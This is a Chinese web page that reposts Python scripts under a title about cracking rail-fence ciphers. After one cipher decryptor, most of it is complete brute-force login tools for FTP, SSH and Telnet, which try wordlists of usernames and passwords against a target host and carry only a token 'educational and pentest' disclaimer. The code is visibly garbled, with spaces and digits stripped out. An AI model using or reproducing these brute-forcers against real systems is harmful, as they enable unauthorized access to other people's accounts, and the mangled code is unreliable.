位置: IT常识 - 正文

Python脚本多种方法破解栅栏密码(python脚本例子)

编辑:rootadmin

推荐整理分享Python脚本多种方法破解栅栏密码(python脚本例子),希望有所帮助,仅作参考,欢迎阅读内容。

文章相关热门搜索词:python脚本怎么用,python编写脚本方法,python运行多个脚本,python 常用脚本,python运行多个脚本,python运行多个脚本,python编写脚本方法,python运行多个脚本,内容如对您有帮助,希望把文章链接给更多的朋友!

Python是一种计算机程序设计语言。是一种面向对象的动态类型语言,最初被设计用于编写自动化脚本(shell),随着版本的不断更新和语言新功能的添加,越来越多被用于独立的、大型项目的开发。

Python脚本多种方法破解栅栏密码(python脚本例子)

Python脚本简单易用,对于要破解的栅栏密码,最简单的可以使用快速编写的Python脚本进行暴力破解:

通用脚本:

#!/usr/bin/envpython#-*-coding:gbk-*-#-*-coding:utf_-*-e=raw_input(‘请输入要解密的字符串\n‘)elen=len(e)field=[]foriinrange(,elen):if(elen%i==):field.append(i)forfinfield:b=elen/fresult={x:‘‘forxinrange(b)}foriinrange(elen):a=i%b;result.update({a:result[a]+e[i]})d=‘‘foriinrange(b):d=d+result[i]print‘分为\t‘+str(f)+‘\t‘+‘栏时,解密结果为:‘+d

FTP暴力破解脚本

#!/usr/bin/envpython#-*-coding=utf--*-#author:@xfk#blog:@blog.sina.com.cn/kaiyongdeng#date:@--importsys,os,timefromftplibimportFTPdocs="""[*]Thiswaswrittenforeducationalpurposeandpentestonly.Useitatyourownrisk.[*]Authorwillbenotresponsibleforanydamage![*]Toolname:ftp_bf.py[*]Coder:[*]Version:.[*]eampleofuse:pythonftp_bf.py-tftp.server.com-uusernames.txt-ppasswords.txt"""ifsys.platform=='linux'orsys.platform=='linux':clearing='clear'else:clearing='cls'os.system(clearing)R="\[m";G="\[m";Y="\[m"END="\[m"deflogo():printG+"\n|---------------------------------------------------------------|"print"||"print"|blog.sina.com.cn/kaiyongdeng|"print"|//ftp_bf.pyv..|"print"|FTPBruteForcingTool|"print"||"print"|---------------------------------------------------------------|\n"print"\n[-]%s\n"%time.strftime("%X")printdocs+ENDdefhelp():printR+"[*]-t,--targetip/hostname<>Ourtarget"print"[*]-u,--usernamelistusernamelist<>usernamelistpath"print"[*]-p,--passwordlistpasswordlist<>passwordlistpath"print"[*]-h,--helphelp<>printthishelp"print"[*]Example:pythonftp_bf-tftp.server.com-uusername.txt-ppasswords.txt"+ENDsys.exit()defbf_login(hostname,username,password):#sys.stdout.write("\r[!]Checking:%s"%(p))#sys.stdout.flush()try:ftp=FTP(hostname)ftp.login(hostname,username,password)ftp.retrlines('list')ftp.quit()printY+"\n[!]wt,wt!!!Wedidit!"print"[+]Target:",hostname,""print"[+]User:",username,""print"[+]Password:",password,""+ENDreturn#sys.exit()exceptException,e:passexceptKeyboardInterrupt:printR+"\n[-]Exiting...\n"+ENDsys.exit()defanon_login(hostname):try:printG+"\n[!]Checkingforanonymouslogin.\n"+ENDftp=FTP(hostname)ftp.login()ftp.retrlines('LIST')printY+"\n[!]wt,wt!!!Anonymousloginsuccessfuly!\n"+ENDftp.quit()exceptException,e:printR+"\n[-]Anonymousloginfailed...\n"+ENDpassdefmain():logo()try:forarginsys.argv:ifarg.lower()=='-t'orarg.lower()=='--target':hostname=sys.argv[int(sys.argv[:].index(arg))+]elifarg.lower()=='-u'orarg.lower()=='--usernamelist':usernamelist=sys.argv[int(sys.argv[:].index(arg))+]elifarg.lower()=='-p'orarg.lower()=='--passwordlist':passwordlist=sys.argv[int(sys.argv[:].index(arg))+]elifarg.lower()=='-h'orarg.lower()=='--help':help()eliflen(sys.argv)<=:help()except:printR+"[-]Cheakyourparametarsinput\n"+ENDhelp()printG+"[!]BruteForcingtarget..."+ENDanon_login(hostname)#print"hereisok"#printhostnametry:usernames=open(usernamelist,"r")user=usernames.readlines()count=whilecount<len(user):user[count]=user[count].strip()count+=except:printR+"\n[-]Cheakyourusernamelistpath\n"+ENDsys.exit()#print"hereisok",usernamelist,passwordlisttry:passwords=open(passwordlist,"r")pwd=passwords.readlines()count=whilecount<len(pwd):pwd[count]=pwd[count].strip()count+=except:printR+"\n[-]Checkyourpasswordlistpath\n"+ENDsys.exit()printG+"\n[+]Loaded:",len(user),"usernames"print"\n[+]Loaded:",len(pwd),"passwords"print"[+]Target:",hostnameprint"[+]Guessing...\n"+ENDforuinuser:forpinpwd:result=bf_login(hostname,u.replace("\n",""),p.replace("\n",""))ifresult!=:printG+"[+]Attemptuaername:%spassword:%s..."%(u,p)+R+"Disenable"+ENDelse:printG+"[+]Attemptuaername:%spassword:%s..."%(u,p)+Y+"Enable"+ENDifnotresult:printR+"\n[-]Thereisnousernameanspasswordenabledinthelist."print"[-]Exiting...\n"+ENDif__name__=="__main__":main()

SSH暴力破解

#!/usr/bin/envpython#-*-coding=UTF--*-#author@:dengyongkai#blog@:blog.sina.com.cn/kaiyongdengimportsysimportosimporttime#fromthreadingimportThreadtry:fromparamikoimportSSHClientfromparamikoimportAutoAddPolicyexceptImportError:printG+'''Youneedparamikomodule.http://www.lag.net/paramiko/Debian/Ubuntu:sudoapt-getinstallaptitude:sudoaptitudeinstallpython-paramiko\n'''+ENDsys.exit()docs="""[*]Thiswaswrittenforeducationalpurposeandpentestonly.Useitatyourownrisk.[*]Authorwillbenotresponsibleforanydamage![*]Toolname:ssh_bf.py[*]Author:xfk[*]Version:v..[*]Exampleofuse:pythonssh_bf.py[-Ttarget][-Pport][-Uuserslist][-Wwordlist][-Hhelp]"""ifsys.platform=='linux'orsys.platform=='linux':clearing='clear'else:clearing='cls'os.system(clearing)R="\[m";G="\[m";Y="\[m"END="\[m"deflogo():printG+"\n|---------------------------------------------------------------|"print"||"print"|blog.sina.com.cn/kaiyongdeng|"print"|//ssh_bf.pyv..|"print"|SSHBruteForcingTool|"print"||"print"|---------------------------------------------------------------|\n"print"\n[-]%s\n"%time.ctime()printdocs+ENDdefhelp():printY+"[*]-H--hostname/ip<>thetargethostnameoripaddress"print"[*]-P--port<>thesshserviceport(defaultis)"print"[*]-U--usernamelist<>usernameslistfile"print"[*]-P--passwordlist<>passwordslistfile"print"[*]-H--help<>showhelpinformation"print"[*]Usage:python%s[-Ttarget][-Pport][-Uuserslist][-Wwordlist][-Hhelp]"+ENDsys.exit()defBruteForce(hostname,port,username,password):'''CreateSSHconnectiontotarget'''ssh=SSHClient()ssh.set_missing_host_key_policy(AutoAddPolicy())try:ssh.connect(hostname,port,username,password,pkey=None,timeout=None,allow_agent=False,look_for_keys=False)status='ok'ssh.close()exceptException,e:status='error'passreturnstatusdefmakelist(file):'''Makeusernamesandpasswordslists'''items=[]try:fd=open(file,'r')exceptIOError:printR+'unabletoreadfile\'%s\''%file+ENDpassexceptException,e:printR+'unknownerror'+ENDpassforlineinfd.readlines():item=line.replace('\n','').replace('\r','')items.append(item)fd.close()returnitemsdefmain():logo()#print"hellowold"try:forarginsys.argv:ifarg.lower()=='-t'orarg.lower()=='--target':hostname=str(sys.argv[int(sys.argv[:].index(arg))+])ifarg.lower()=='-p'orarg.lower()=='--port':port=sys.argv[int(sys.argv[:].index(arg))+]elifarg.lower()=='-u'orarg.lower()=='--userlist':userlist=sys.argv[int(sys.argv[:].index(arg))+]elifarg.lower()=='-w'orarg.lower()=='--wordlist':wordlist=sys.argv[int(sys.argv[:].index(arg))+]elifarg.lower()=='-h'orarg.lower()=='--help':help()eliflen(sys.argv)<=:help()except:printR+"[-]Cheakyourparametarsinput\n"+ENDhelp()printG+"\n[!]BruteForcingtarget...\n"+END#print"hereisok"#printhostname,port,wordlist,userlistusernamelist=makelist(userlist)passwordlist=makelist(wordlist)printY+"[*]SSHBruteForcePraparing."print"[*]%suser(s)loaded."%str(len(usernamelist))print"[*]%spassword(s)loaded."%str(len(passwordlist))print"[*]BruteForceIsStarting......."+ENDtry:forusernameinusernamelist:forpasswordinpasswordlist:printG+"\n[+]Attemptuaername:%spassword:%s..."%(username,password)+ENDcurrent=BruteForce(hostname,port,username,password)ifcurrent=='error':printR+"[-]O*OTheusername:%sandpassword:%sIsDisenbabled...\n"%(username,password)+END#passelse:printG+"\n[+]^-^HaHa,WeGotIt!!!"print"[+]username:%s"%usernameprint"[+]password:%s\n"%password+END#sys.exit()except:printR+"\n[-]ThereIsSomethingWrong,PleaceCheakIt."print"[-]Exitting.....\n"+ENDraiseprintY+"[+]Done.^-^\n"+ENDsys.exit()if__name__=="__main__":main()#!usr/bin/python#TelnetBruteForcer#http://www.darkcde.com#dhydr[at]gmail[dot]comimportthreading,time,random,sys,telnetlibfromcopyimportcopyiflen(sys.argv)!=:print"Usage:./telnetbrute.py<server><userlist><wordlist>"sys.exit()try:users=open(sys.argv[],"r").readlines()except(IOError):print"Error:Checkyouruserlistpath\n"sys.exit()try:words=open(sys.argv[],"r").readlines()except(IOError):print"Error:Checkyourwordlistpath\n"sys.exit()print"\n\tdhydr[at]gmail[dot]comTelnetBruteForcerv."print"\t--------------------------------------------------\n"print"[+]Server:",sys.argv[]print"[+]UsersLoaded:",len(users)print"[+]WordsLoaded:",len(words),"\n"wordlist=copy(words)defreloader():forwordinwordlist:words.append(word)defgetword():lock=threading.Lock()lock.acquire()iflen(words)!=:value=random.sample(words,)words.remove(value[])else:print"\nReloadingWordlist-ChangingUser\n"reloader()value=random.sample(words,)users.remove(users[])lock.release()iflen(users)==:returnvalue[][:-],users[]else:returnvalue[][:-],users[][:-]classWorker(threading.Thread):defrun(self):value,user=getword()try:print"-"*print"User:",user,"Password:",valuetn=telnetlib.Telnet(sys.argv[])tn.read_until("login:")tn.write(user+"\n")ifpassword:tn.read_until("Password:")tn.write(value+"\n")tn.write("ls\n")tn.write("exit\n")printtn.read_all()print"\t\nLoginsuccessful:",value,usertn.close()work.join()sys.exit()except:passforIinrange(len(words)*len(users)):work=Worker()work.start()time.sleep()</wordlist></userlist></server>
本文链接地址:https://www.jiuchutong.com/zhishi/303165.html 转载请保留说明!

上一篇:CMS技巧:广告延迟加载让网站速度更快(广告系统源码)

下一篇:WordPress网站一键接入微信登录(wordpress all in one)

  • 一般企业网站推广十大方法(企业网站的一般内容)

    一般企业网站推广十大方法(企业网站的一般内容)

  • iPhone如何进行长截图(苹果如何长)

    iPhone如何进行长截图(苹果如何长)

  • 微信扫码如何查付款人(微信扫码如何查看wifi密码)

    微信扫码如何查付款人(微信扫码如何查看wifi密码)

  • 华为nova5怎么开启螺旋仪(华为nova5怎么开OTG功能吗)

    华为nova5怎么开启螺旋仪(华为nova5怎么开OTG功能吗)

  • 网易云音乐账号能两个手机同时用吗(网易云音乐账号怎么找回)

    网易云音乐账号能两个手机同时用吗(网易云音乐账号怎么找回)

  • 抖音怎么让同城人看到(抖音在同城怎样获得更多的浏览量)

    抖音怎么让同城人看到(抖音在同城怎样获得更多的浏览量)

  • 台式机怎么用单孔耳麦(台式电脑单主机什么意思)

    台式机怎么用单孔耳麦(台式电脑单主机什么意思)

  • 抖音显示在线时间准吗(抖音显示在线时间最长多久)

    抖音显示在线时间准吗(抖音显示在线时间最长多久)

  • 微信绿码在哪里(微信绿码怎么弄出来)

    微信绿码在哪里(微信绿码怎么弄出来)

  • 在b站搬运其他人的原创视频,怎么做才对(在B站搬运其他人的原创视频,怎样)

    在b站搬运其他人的原创视频,怎么做才对(在B站搬运其他人的原创视频,怎样)

  • 为什么拼多多帮砍不了(为什么拼多多帮不了别人砍价)

    为什么拼多多帮砍不了(为什么拼多多帮不了别人砍价)

  • 微信互删后备注还在吗(微信互删后备注会消失吗)

    微信互删后备注还在吗(微信互删后备注会消失吗)

  • i7 4790配什么显卡(i74790配什么显卡最好2022年)

    i7 4790配什么显卡(i74790配什么显卡最好2022年)

  • 手机一直说话关不掉了怎么办(手机一直说话关不了怎么办)

    手机一直说话关不掉了怎么办(手机一直说话关不了怎么办)

  • 微信下载后安装不上怎么办(微信下载后安装失败)

    微信下载后安装不上怎么办(微信下载后安装失败)

  • pc页面是什么意思(pc界面是什么意思)

    pc页面是什么意思(pc界面是什么意思)

  • 腾讯大王卡切换归属地(腾讯大王卡切换套餐)

    腾讯大王卡切换归属地(腾讯大王卡切换套餐)

  • 进微信密码怎么设置(进微信密码怎么改密码)

    进微信密码怎么设置(进微信密码怎么改密码)

  • 微信出租是干什么的(微信出租会不会犯法)

    微信出租是干什么的(微信出租会不会犯法)

  • ps如何让照片变清晰(ps怎么让照片变清晰)

    ps如何让照片变清晰(ps怎么让照片变清晰)

  • iphone设置某人来电静音(iphone怎么设置某人来电特别提醒)

    iphone设置某人来电静音(iphone怎么设置某人来电特别提醒)

  • 苹果8怎么清理系统内存(苹果8怎么清理运行中的软件)

    苹果8怎么清理系统内存(苹果8怎么清理运行中的软件)

  • 乐视视频如何取消自动续费(乐视视频如何取消续费)

    乐视视频如何取消自动续费(乐视视频如何取消续费)

  • 企业开发app原因是什么(为什么开发app)

    企业开发app原因是什么(为什么开发app)

  • Win11/Win10 21H2 正式版发布前,微软再次推送可靠性补丁更新 KB4023057

    Win11/Win10 21H2 正式版发布前,微软再次推送可靠性补丁更新 KB4023057

  • 已认证进项税额怎么结转
  • 应交增值税和未交增值税都有余额
  • 出口退税无纸化备案怎么弄
  • 小规模开票超过五百万元,会自动升为一般纳税人吗
  • 收到返款计入什么科目
  • 信用减值损失与坏账准备关系
  • 哪些进项税额不可以抵扣
  • 定额发票怎么验证真伪
  • 误餐补助缴个税怎么申报
  • 分公司没有业务季报怎么处理
  • 哪些收入减免所得税
  • 企业间资金往来 人员派驻
  • 收到发票付款是抹了零头怎么做账
  • 商标使用权入股可以退出吗
  • 固定资产清理科目怎么结转
  • 增值税普通发票和普通发票的区别怎么交税
  • 公司抵扣发票不用交税吗
  • 工程发票的备注栏
  • 广告业 增值税
  • 营改增后增值税科目
  • 新公司企业怎么注册
  • 销售利润率的计算公式,安全边际率
  • 事业单位是否需要章程
  • 股东借款利息计入利润表哪个科目
  • 应补退所得税额是什么
  • 出口货物应退税额确认的会计分录
  • 政府补助不征税条件
  • 客户回款扣除的费用
  • windows怎么复制
  • 红利所得的税法规定
  • 销售退回的账务处理附什么底稿
  • PHP基于SimpleXML生成和解析xml的方法示例
  • 未分配现付是什么意思
  • 工业会计成本核算读书笔记3000
  • River Avon in Bath, England (© Robert Harding World Imagery/Offset by Shutterstock)
  • 将时间序列转化为图像
  • thinkphp调用控制器中的方法
  • 第三方代收的款项是什么意思
  • web安全什么意思
  • 你还没等于几
  • 资产减值损失属于营业外支出吗
  • 过路费属于会计哪个科目
  • 企业财务部门对业务部门的监管要求
  • 原材料入库单价20000出库单价800000
  • 公司自用咖啡机怎么处理
  • 公司成立开的户叫什么
  • 企业自产自用的产品需要缴纳增值税吗
  • Centos5.5中安装Mysql5.5过程分享
  • 应收账款少收会计分录
  • 实收资本有关会计科目
  • 常用的加速折旧方法
  • 不偿还的其他应收款
  • 咋样理解
  • 固定资产清理账户的借方登记的项目有
  • 固定资产一次性扣除账务处理
  • 其他债权投资有没有减值准备
  • 专项附加扣除项目
  • 会计记账借贷记什么账户
  • 日记账的建账工作
  • 应付利息属于经营性负债吗
  • win7旗舰版系统重装
  • 如何配置samba配置文件
  • 苹果mac外接显示器合上盖子怎么在显示器上继续
  • centos sh
  • win 10移动版
  • win8.1系统更新
  • cocos2d怎么用
  • [置顶]电影名字《收件人不详》
  • javascript中
  • node.js开发微信小程序
  • Unity3D: StartCoroutine 和 yield return 深入研究
  • 谷歌邮箱
  • android PopupWindow显示位置设置
  • jquery使用教程
  • js会话
  • python类怎么用
  • github docs
  • 2023年四川职工医保缴费基数
  • 发票为什么要验旧操作
  • 苏州地方税务
  • 免责声明:网站部分图片文字素材来源于网络,如有侵权,请及时告知,我们会第一时间删除,谢谢! 邮箱:opceo@qq.com

    鄂ICP备2023003026号

    网站地图: 企业信息 工商信息 财税知识 网络常识 编程技术

    友情链接: 武汉网站建设